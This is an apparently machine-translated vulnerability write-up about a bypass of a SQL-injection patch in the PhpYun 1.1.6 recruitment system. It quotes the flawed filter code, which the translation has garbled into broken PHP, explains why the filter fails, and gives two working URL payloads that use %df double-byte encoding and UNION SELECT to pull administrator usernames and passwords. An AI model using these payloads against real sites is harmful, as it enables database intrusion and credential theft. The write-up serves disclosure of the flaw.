Phpyun injection and repair after patch

I did not intend to see php100 yesterday. It seems that the php cloud system has been installed with a security patch. Today it's okay. download version 1.1.6 and check it out to see how it can be supplemented. After reading it, I found that the filter function in config/db_safety.php is as follows:

Function common_htmlspecialchars ($ str)
{
$ Str = preg_replace (/&(?! # [0-9] +;)/s, & amp;, $ str );
$ Str = str_replace (array (<,>, ", and, =," "), array (& lt;, & gt;, & quot;, an d, "=", ""), $ str); // more than previously filtered and =

Return $ str;
}
Foreach ($ _ POST as $ id => $ v ){
$ _ POST [$ id] = common_htmlspecialchars ($ v );
}
Foreach ($ _ GET as $ id => $ v ){
$ _ GET [$ id] = common_htmlspecialchars ($ v );
}
Foreach ($ _ COOKIE as $ id => $ v ){
$ _ COOKIE [$ id] = common_htmlspecialchars ($ v );
}

The programmer apparently thinks that there is no way to filter single quotes. I admit that variables caused by single quotes do need to be closed in single quotes, but I don't have to introduce them externally, for example:

$ SQL = "select * from user where name = $ name and pass = $ pass"

If I want to use this SQL statement to make it select * from user where name = between and pass = or 1 = 1 -- sdf // use -- to comment out the last single quotation mark, is it possible to use or for injection?

In addition, this patch uses str_replace to filter and. But what if I submit And or aNd?

Therefore, the patch phpyun system still has the dual-byte encoding injection vulnerability, which is not affected by the gpc option.

Test method:

Visit www.abc.com/search.php? Keyword = & provinceid = % df & cityid = % 20 union % 20 select % ,,2, concat (0x40, 0x23, username, 0x7e, password, 0x23,0x40 ), 12%, from % 20phpyun_admin_user -- % 20-& mySearchCityName = & mySearchCity = & search = % CB % D1 % CB % F7 or www.abc.com/resumeview.php? Uid = union select 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, concat (0x40, 0x23, username, 0x7e, password, 0x23,0x40), 17 from phpyun_admin_user -- sd & e = % df.

Let's just give two examples. There are a lot of available options. In addition, the commercial version seems to force convert all int data, just to guess, because there is no problem in the black box testing of the demonstration sites in these two places (I don't have the commercial version code ).

Solution:

Ryat said that the idea of preventing injection is to estimate the type of variables to the maximum extent and hope programmers can think more.

Only for technical exchange.